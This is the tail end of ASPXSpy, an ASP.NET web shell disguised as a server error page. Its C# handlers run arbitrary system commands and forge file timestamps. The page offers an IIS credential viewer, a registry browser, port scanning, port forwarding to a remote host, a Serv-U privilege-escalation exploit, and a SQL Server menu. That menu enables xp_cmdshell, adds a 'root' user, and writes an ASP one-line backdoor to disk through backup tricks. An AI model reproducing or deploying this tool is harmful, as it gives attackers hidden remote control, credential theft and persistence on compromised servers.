			File.SetCreationTimeUtc(path,Convert.ToDateTime(Bin_TextBox_Creation.Value));
			File.SetLastAccessTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastAccess.Value));
			File.SetLastWriteTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastWrite.Value));
			Bin_Msg("File ttributes modify success!");
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
		Bin_File(Bin_TextBox_Path.Value);
	}

	protected void Bin_Button_Cmd_Click(object sender,EventArgs e)
	{
		Bin_Div_File.Visible=false;
		Bin_Div_Cmd.Visible=true;
		Bin_Div_Reg.Visible=false;
		Bin_Div_SuExp.Visible=false;
		Bin_Div_Data.Visible=false;
		Bin_Div_PortScan.Visible=false;
		Bin_Div_PortMap.Visible=false;
		Bin_H2_Title.InnerText="Execute Command >>";
	}
	protected void Bin_Button_CmdExec_Click(object sender,EventArgs e)
	{
		try
		{
			Process Cmdpro=new Process();
			Cmdpro.StartInfo.FileName=Bin_TextBox_CmdPath.Value;
			Cmdpro.StartInfo.Arguments=Bin_TextBox_CmdArg.Value;
			Cmdpro.StartInfo.UseShellExecute=false;
			Cmdpro.StartInfo.RedirectStandardInput=true;
			Cmdpro.StartInfo.RedirectStandardOutput=true;
			Cmdpro.StartInfo.RedirectStandardError=true;
			Cmdpro.Start();
			string cmdstr=Cmdpro.StandardOutput.ReadToEnd();
			cmdstr=cmdstr.Replace("<","&lt;");
			cmdstr=cmdstr.Replace(">","&gt;");
			cmdstr=cmdstr.Replace("\r\n","<br>");
			Bin_Div_CmdRes.Visible=true;
			Bin_Div_CmdRes.InnerHtml="<hr width=\"100%\" noshade/><pre>"+cmdstr+"</pre>";
		}
		catch(Exception error)
		{
			Bin_Msg(error.Message);
		}
	}
	protected void Bin_Bin_RegreadButton_Click(object sender,EventArgs e)
	{
		if(Bin_Text_Regread.Text.Length > 0)
		{
			Bin_ShowReg(Bin_Text_Regread.Text);
		}
		else
		{
			RegInit();
		}
	}
	protected void Bin_Button_Process_Click(object sender,EventArgs e)
	{
		Bin_GetProcess();
	}
	protected void Bin_Button_Services_Click(object sender,EventArgs e)
	{
		Bin_Wmi_GetServices();
	}
	protected void Bin_Button_Sysinfo_Click(object sender,EventArgs e)
	{
		Bin_Sysinfo();
	}
	protected void Bin_Button_Userinfo_Click(object sender,EventArgs e)
	{
		Bin_Wmi_UserInfo();
	}
	protected void Bin_Button_Suexp_Click(object sender,EventArgs e)
	{
		Bin_Su();
	}
	protected void Bin_TextBox_Suexp_Click(object sender,EventArgs e)
	{
		Bin_SuExp();
	}
	protected void Bin_Button_Reg_Click(object sender,EventArgs e)
	{
		Bin_Reg();
	}
	protected void Bin_Button_DB_Click(object sender,EventArgs e)
	{
		Bin_DataBase();
	}
	protected void Bin_List_SelectedIndexChanged(object sender,EventArgs e)
	{
		if(((DropDownList)sender).ID.ToString()=="Bin_List_Connstr")
		{		
			Bin_Div_DBPanel.Visible=false;
			Bin_TextBox_ConnStr.Text=Bin_List_Connstr.SelectedItem.Value.ToString();		
		}
		if(((DropDownList)sender).ID.ToString()=="Bin_List_DB")
		{
			Bin_DataBind();
		}
		if(((DropDownList)sender).ID.ToString()=="Bin_List_Exec")
		{
			Bin_Textarea_Query.InnerText=Bin_List_Exec.SelectedItem.Value.ToString();
		}
	}
	protected void Bin_Button_Back_Click(object sender,EventArgs e)
	{
		Bin_File(Bin_TextBox_Path.Value);
	}
	protected void Bin_Button_Conn_Click(object sender,EventArgs e)
	{
		Bin_Newconn();
	}
	protected void Bin_Button_PortScan_Click(object sender,EventArgs e)
	{
		Bin_PortScan();
	}
	protected void Bin_Button_PortMap_Click(object sender,EventArgs e)
	{
		Bin_PortMap();
	}
	protected void Bin_Button_CMapPort_Click(object sender,EventArgs e)
	{
		Listth.Clear();
		Bin_Msg("Clear All Thread ......");
	}
	protected void Bin_Button_MapPort_Click(object sender,EventArgs e)
	{
		if(Bin_TextBox_Lport.Value=="" || Bin_TextBox_Lip.Value.Length < 7 || Bin_TextBox_Rport.Value=="") return;
		Thread th=new Thread(new ThreadStart(Pagestart));
		th.Start();
		Listth.Add(th);
		Bin_Msg("All Thread Start ......");
	}

	protected void Bin_Button_Refresh_Click(object sender,EventArgs e)
	{

	}

	protected void Bin_Button_Scan_Click(object sender,EventArgs e)
	{
		Bin_Scan();
		Bin_Label_Scanres.Visible=true;
		string res=string.Empty;
		foreach(ScanPort th in ScanResults)
		{
			res += th.ip+" : "+th.port+" ................................. "+th.status+"<br>";
		}
		Bin_Label_Scanres.InnerHtml=res;
	}

	protected void Bin_Button_Query_Click(object sender,EventArgs e)
	{
		Bin_ExecBind();
	}
</script>

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
	<title>错误页面</title>
	<style type="text/css">
	
	.Bin_Style_Login{font:11px Verdana;BACKGROUND: #FFFFFF;border: 1px solid #666666;}
	body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:16px;}
.list{font:12px Arial,Tahoma;height:23px;}
.area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
	
	</style>
	<script type="text/javascript">
	function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e=form.elements[i];
		if(e.name!='chkall')
		e.checked=form.chkall.checked;
	}
}
	</script>
</head>
<body style="margin:0;table-layout:fixed;"> 
	<form id="ASPXSpy" runat="server">
	<div id="Bin_Div_Login" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
		<span style="font:11px Verdana;">Password:</span>
		<asp:TextBox ID="Bin_TextBox_Login" runat="server" CssClass="Bin_Style_Login" ></asp:TextBox>
		<asp:Button ID="Bin_Button_Login" runat="server" Text="Login" CssClass="Bin_Style_Login" OnClick="Bin_Button_Login_Click"/>	
	</div>
	<div id="Bin_Div_Content" runat="server">
	
	<div id="Bin_Div_Head" runat="server">
	<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td ><span style="float:right;"><a href="http://www.tjskfag.cn" target="_blank">ASPXSpy Ver: 2008</a></span><span id="Bin_Span_Sname" runat="server" enableviewstate="true"></span></td>
	</tr>
	<tr class="alt1">
		<td><span style="float:right;" id="Bin_Span_FrameVersion" runat="server"></span>
			<asp:LinkButton ID="Bin_Button_Logout" runat="server" OnClick="Bin_Button_Logout_Click" Text="Logout" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_File" runat="server" Text="File Manager" OnClick="Bin_Button_File_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Cmd" runat="server" Text="CmdShell" OnClick="Bin_Button_Cmd_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_IISspy" runat="server" Text="IIS Spy" OnClick="Bin_Button_IISspy_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Process" runat="server" Text="Process" OnClick="Bin_Button_Process_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Services" runat="server" Text="Services" OnClick="Bin_Button_Services_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Userinfo" runat="server" Text="UserInfo" OnClick="Bin_Button_Userinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Sysinfo" runat="server" Text="SysInfo" OnClick="Bin_Button_Sysinfo_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Suexp" runat="server" Text="SU Exp" OnClick="Bin_Button_Suexp_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_Reg" runat="server" Text="RegShell" OnClick="Bin_Button_Reg_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortScan" runat="server" Text="PortScan" OnClick="Bin_Button_PortScan_Click" ></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_DB" runat="server" Text="DataBase" OnClick="Bin_Button_DB_Click"></asp:LinkButton> | <asp:LinkButton ID="Bin_Button_PortMap" runat="server" Text="PortMap" OnClick="Bin_Button_PortMap_Click"></asp:LinkButton>
		</td>
	</tr>
	</table>
	</div>
	<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
	<div id="Bin_Div_Msg" style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;" runat="server" visible="false" enableviewstate="false"></div>
	<h2 id="Bin_H2_Title" runat="server"></h2>
	<%--FileList--%>
	<div id="Bin_Div_File" runat="server">
	<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
 <tr>
	<td style=" white-space:nowrap">Current Directory : </td>
	<td style=" width:100%"><input class="input" id="Bin_TextBox_Path" name="Bin_TextBox_Path" type="text" style="width:97%;margin:0 8px;" runat="server"/>
	</td>
	<td style="white-space:nowrap" ><asp:Button ID="Bin_Button_Go" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Go_Click"/></td>
 </tr>
	</table> 
	<table width="100%" border="0" cellpadding="4" cellspacing="0">
	<tr class="alt1"><td colspan="7" style="padding:5px;">
	<div style="float:right;"><input id="Bin_Lable_File" class="input" runat="server" type="file" style=" height:22px"/> 
	<asp:Button ID="Bin_Button_Upload" CssClass="bt" runat="server" Text="Upload" OnClick="Bin_Button_Upload_Click"/></div><asp:LinkButton ID="Bin_Button_WebRoot" runat="server" Text="WebRoot" OnClick="Bin_Button_WebRoot_Click"></asp:LinkButton> | <a href="#" id="Bin_Button_CreateDir" runat="server">Create Directory</a> | <a href="#" id="Bin_Button_CreateFile" runat="server">Create File</a>
	| <span id="Bin_Span_Drv" runat="server"></span><a href="#" id="Bin_Button_KillMe" runat="server" style="color:Red">Kill Me</a>
	</td></tr> 
		<asp:Table ID="Bin_Table_File" runat="server" Width="100%" CellSpacing="0" >
			<asp:TableRow CssClass="head"><asp:TableCell>&nbsp;</asp:TableCell><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="25%">Last modified</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow>			
		</asp:Table>
	</table>
	</div> 
	<%--FileEdit--%> 
	<div id="Bin_Div_Edit" runat="server" enableviewstate="false" visible="false">
	<p>Current File(import new file name and new file)<br/>
	<input class="input" name="Bin_TextBox_Fp" id="Bin_TextBox_Fp" type="text" size="100" runat="server"/>
	</p>
	<p>File Content<br/>
	<textarea id="Bin_Textarea_Edit" runat="server" class="area" cols="100" rows="25" ></textarea>
	</p>
	<p><asp:Button ID="Bin_Button_Save" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Save_Click"/> <asp:Button ID="Bin_Button_Back" runat="server" Text="Back" CssClass="bt" OnClick="Bin_Button_Back_Click"/></p>
	</div>
	<%--CloneTime--%>
	<div id="Bin_Div_Time" runat="server" enableviewstate="false" visible="false">
	<p>Alter file<br/><input class="input" name="Bin_TextBox_Sp" id="Bin_TextBox_Sp" type="text" size="120" runat="server"/></p>
	<p>Reference file(fullpath)<br/><input class="input" name="Bin_TextBox_Dp" id="Bin_TextBox_Dp" type="text" size="120" runat="server"/></p>
	<p><asp:Button ID="Bin_Button_Clone" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Clone_Click"/></p>
	<h2>Set last modified &raquo;</h2>
	<p>Current file(fullpath)<br/><input class="input" name="Bin_TextBox_Sp1" id="Bin_TextBox_Sp1" type="text" size="120" runat="server"/></p>
	<p>
		<asp:CheckBox ID="Bin_CheckBox_ReadOnly" runat="server" Text="ReadOnly" EnableViewState="False"/>
		&nbsp;
		<asp:CheckBox ID="Bin_CheckBox_System" runat="server" Text="System" EnableViewState="False"/>
		&nbsp;
		<asp:CheckBox ID="Bin_CheckBox_Hiddent" runat="server" Text="Hiddent" EnableViewState="False"/>
		&nbsp;
		<asp:CheckBox ID="Bin_CheckBox_Archive" runat="server" Text="Archive" EnableViewState="False"/>
	</p>
	<p>
		CreationTime :
		<input class="input" name="Bin_TextBox_Creation" id="Bin_TextBox_Creation" type="text" runat="server"/>
		LastWriteTime :
		<input class="input" name="Bin_TextBox_LastWrite" id="Bin_TextBox_LastWrite" type="text" runat="server"/>
		LastAccessTime :
		<input class="input" name="Bin_TextBox_LastAccess" id="Bin_TextBox_LastAccess" type="text" runat="server"/>
		</p>
		<p>
			<asp:Button ID="Bin_Button_Att" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_Att_Click"/>
		</p>
	</div>
	<%--IISSpy--%>
	<div runat="server" id="Bin_Div_IISSpy" visible="false" enableviewstate="false">
	<table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
		<asp:Table ID="Bin_Table_IISSpy" runat="server" Width="100%" CellSpacing="0">
			<asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell Width="15%">IIS_USER</asp:TableCell><asp:TableCell Width="15%">IIS_PASS</asp:TableCell><asp:TableCell Width="20%">Domain</asp:TableCell><asp:TableCell Width="30%">Path</asp:TableCell></asp:TableRow>			
		</asp:Table>	
	</table>
	</div>
	<%--Process--%>
	<div runat="server" id="Bin_Div_Process" visible="false" enableviewstate="false">
	<table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
		<asp:Table ID="Bin_Table_Process" runat="server" Width="100%" CellSpacing="0" >
			<asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell Width="20%">ID</asp:TableCell><asp:TableCell Width="20%">Process</asp:TableCell><asp:TableCell Width="20%">ThreadCount</asp:TableCell><asp:TableCell Width="20%">Priority</asp:TableCell><asp:TableCell Width="20%">Action</asp:TableCell></asp:TableRow>		
		</asp:Table>	
	</table>
	</div>
	<%--CmdShell--%>
	<div runat="server" id="Bin_Div_Cmd">
	<p>CmdPath:<br/>
	<input class="input" runat="server" name="Bin_TextBox_CmdPath" id="Bin_TextBox_CmdPath" type="text" size="100" value="c:\windows\system32\cmd.exe"/>
	</p>
	Argument:<br/>
	<input class="input" runat="server" name="Bin_TextBox_CmdArg" id="Bin_TextBox_CmdArg" value="/c Set" type="text" size="100"/> <asp:Button ID="Bin_Button_CmdExec" CssClass="bt" runat="server" Text="Submit" OnClick="Bin_Button_CmdExec_Click"/>
	<div id="Bin_Div_CmdRes" runat="server" visible="false" enableviewstate="false">
	</div>
	</div>
	<%--Services--%>
	<div runat="server" id="Bin_Div_Services" visible ="false" enableviewstate="false">
	<table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
		<asp:Table ID="Bin_Table_Serviecs" runat="server" Width="100%" CellSpacing="0" >
			<asp:TableRow CssClass="head"><asp:TableCell></asp:TableCell><asp:TableCell Width="10%">ID</asp:TableCell><asp:TableCell Width="10%">Name</asp:TableCell><asp:TableCell Width="40%">Path</asp:TableCell><asp:TableCell Width="10%">State</asp:TableCell><asp:TableCell Width="10%">StartMode</asp:TableCell></asp:TableRow>		
		</asp:Table>	
	</table> 
	</div>
	<%--Sysinfo--%>
	<div runat="server" id="Bin_Div_Sysinfo" visible="false" enableviewstate="false">
	<hr style=" border: 1px solid #ddd;height:0px;"/>
	<ul class="info" id="Bin_Ul_Sys" runat="server"></ul>
	<h2 id="Bin_H2_Mac" runat="server"></h2>
	<hr style=" border: 1px solid #ddd;height:0px;"/>
	<ul class="info" id ="Bin_Ul_NetConfig" runat="server"></ul>
	<h2 id="Bin_H2_Driver" runat="server"></h2>
	<hr style=" border: 1px solid #ddd;height:0px;"/>
	<ul class="info" id ="Bin_Ul_Driver" runat="server"></ul>
	</div>
	<%--UserInfo--%>
	<div runat="server" id="Bin_Div_Userinfo" visible="false" enableviewstate="false">
	<table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
		<asp:Table ID="Bin_Table_User" runat="server" Width="100%" CellSpacing="0" >					
		</asp:Table>	
	</table> 
	</div>
	<%--SuExp--%>
	<div runat="server" id="Bin_Div_SuExp">
	
	<table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
		<tr align="center">
		<td style="width:10%"></td>
		<td style="width:20%" align="left">UserName : <input class="input" runat="server" name="Bin_TextBox_Suadmin" id="Bin_TextBox_Suadmin" type="text" size="20" value="localadministrator"/></td>
		<td style="width:20%" align="left">PassWord : <input class="input" runat="server" name="Bin_TextBox_Supass" id="Bin_TextBox_Supass" type="text" size="20" value="#l@$ak#.lk;0@P"/></td>
		<td style="width:20%" align="left">Port : <input class="input" runat="server" name="Bin_TextBox_Suport" id="Bin_TextBox_Suport" type="text" size="20" value="43958"/></td>
		<td style="width:10%"></td>
		</tr>
		<tr >
		<td style="width:10%"></td>
		<td colspan="5">CmdShell&nbsp;&nbsp;:&nbsp;<input class="input" runat="server" name="Bin_TextBox_Sucmd" id="Bin_TextBox_Sucmd" type="text" size="100" value="cmd.exe/c net user"/> <asp:Button ID="Bin_TextBox_Suexp" CssClass="bt" runat="server" Text="Exploit" OnClick="Bin_TextBox_Suexp_Click"/></td>
		</tr>
	</table> 
	<div id="Bin_Div_Sures" visible="false" enableviewstate="false" runat="server">
	<table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
	<tr align="center">
	<td style="width:30%"></td>
	<td align="left" style="width:40%"><pre id="Bin_Td_Res" runat="server"></pre></td>
	<td style="width:30%"></td>
	</tr>
	</table>
	</div>
	</div>
	<%--Reg--%>
	<div id="Bin_Div_Reg" runat="server">
	<p>Registry Path : <asp:TextBox id="Bin_Text_Regread" style="width:85%;margin:0 8px;" CssClass="input" runat="server"/><asp:Button ID="Bin_Button_RegGo" runat="server" Text="Go" CssClass="bt" onclick="Bin_Bin_RegreadButton_Click"/></p>
	<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
		<asp:Table ID="Bin_Table_Reg" runat="server" Width="100%" CellSpacing="0" >
			<asp:TableRow CssClass="alt1"><asp:TableCell ColumnSpan="2" id="Bin_Regroot_Href"></asp:TableCell></asp:TableRow>	
			<asp:TableRow CssClass="head"><asp:TableCell Width="40%">Key</asp:TableCell><asp:TableCell Width="60%">Value</asp:TableCell></asp:TableRow>	
		</asp:Table>
	</table>
	</div>
	<%--PortScan--%>
	<div id="Bin_Div_PortScan" runat="server">
	<p>
	IP : <asp:TextBox id="Bin_TextBox_Sip" style="width:10%;margin:0 8px;" CssClass="input" runat="server" Text="127.0.0.1"/> Port : <asp:TextBox id="Bin_TextBox_Sport" style="width:40%;margin:0 8px;" CssClass="input" runat="server" Text="21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"/> <asp:Button ID="Bin_Button_Scan" runat="server" Text="Scan" CssClass="bt" OnClick="Bin_Button_Scan_Click"/>
	</p>
	<div id="Bin_Label_Scanres" runat="server" visible="false" enableviewstate="false"></div>	
	</div>
	<%--DataBase--%>
	<div id="Bin_Div_Data" runat="server">
	<p>ConnString : <asp:TextBox id="Bin_TextBox_ConnStr" style="width:70%;margin:0 8px;" CssClass="input" runat="server"/><asp:DropDownList runat="server" CssClass="list" ID="Bin_List_Connstr" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb">ACCESS</asp:ListItem></asp:DropDownList><asp:Button ID="Bin_Button_Conn" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Conn_Click"/></p>
	<div id="Bin_Div_DBPanel" runat="server">
	<div id="Bin_Div_Dbinfo" runat="server"></div>
	<div id="Bin_Div_Dblist" runat="server">
	Please select a database : <asp:DropDownList runat="server" ID="Bin_List_DB" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"></asp:DropDownList> 
	SQLExec : <asp:DropDownList runat="server" ID="Bin_List_Exec" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe/c echo ^&lt;%execute(request(char(35)))%^> > c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''&lt;%execute(request(chr(35)))%&gt;'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(&#34;cmd.exe/c net user root root/add &#34;)')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd) values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd) values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem></asp:DropDownList>
	</div>
	<table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td> Run SQL </td></tr><tr><td><textarea id="Bin_Textarea_Query" name="Bin_Textarea_Query" class="area" style="width:600px;height:60px;overflow:auto;" runat="server" rows="6" cols="1"></textarea></td></tr><tr><td>
									<asp:Button runat="server" ID="Bin_Button_Query" CssClass="bt" 
										Text="Query" onclick="Bin_Button_Query_Click"/></td></tr></table>
	<div style="overflow-x:auto;width:950px" ><p>
	<asp:DataGrid runat="server" ID="Bin_DataGrid" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" ></asp:DataGrid>
	</p>
	</div>
	</div>
	</div>
	<%--PortMap--%>
	<div id="Bin_Div_PortMap" runat="server">
	<table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
		<tr align="center">
		<td style="width:5%"></td>
		<td style="width:20%" align="left">Local Ip : >Local Ip : <input class="input" runat="server" name="Bin_TextBox_Lip" id="Bin_TextBox_Lip" type="text" size="20" value="127.0.0.1"/></td>
		<td style="width:20%" align="left">Local Port : <input class="input" runat="server" name="Bin_TextBox_Lport" id="Bin_TextBox_Lport" type="text" size="20" value="3389"/></td>
		<td style="width:20%" align="left">Remote Ip : <input class="input" runat="server" name="Bin_TextBox_Rip" id="Bin_TextBox_Rip" type="text" size="20" value="www.tjskfag.cn"/></td>
		<td style="width:20%" align="left">Remote Port : <input class="input" runat="server" name="Bin_TextBox_Rport" id="Bin_TextBox_Rport" type="text" size="20" value="80"/></td></tr>
		<tr align="center"><td colspan="5"><br/><asp:Button ID="Bin_Button_MapPort" CssClass="bt" runat="server" Text="MapPort" OnClick="Bin_Button_MapPort_Click"/> <asp:Button ID="Bin_Button_CMapPort" CssClass="bt" runat="server" Text="ClearAll" OnClick="Bin_Button_CMapPort_Click"/> <asp:Button ID="Bin_Button_Refresh" CssClass="bt" runat="server" Text="Refresh" OnClick="Bin_Button_Refresh_Click"/></td></tr> 
	</table> 
	</div>
	</td></tr></table>
	<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	Copyright(C) 2006-2008 <a href="http://www.google.cn" target="_blank">Bin'Blog</a> All Rights Reserved.
</div>
	</div>
	</form>
</body>
</html>
<%
            
          }
          else
          {
              Response.Write("“/”应用程序中的服务器错误。");
          }

%>
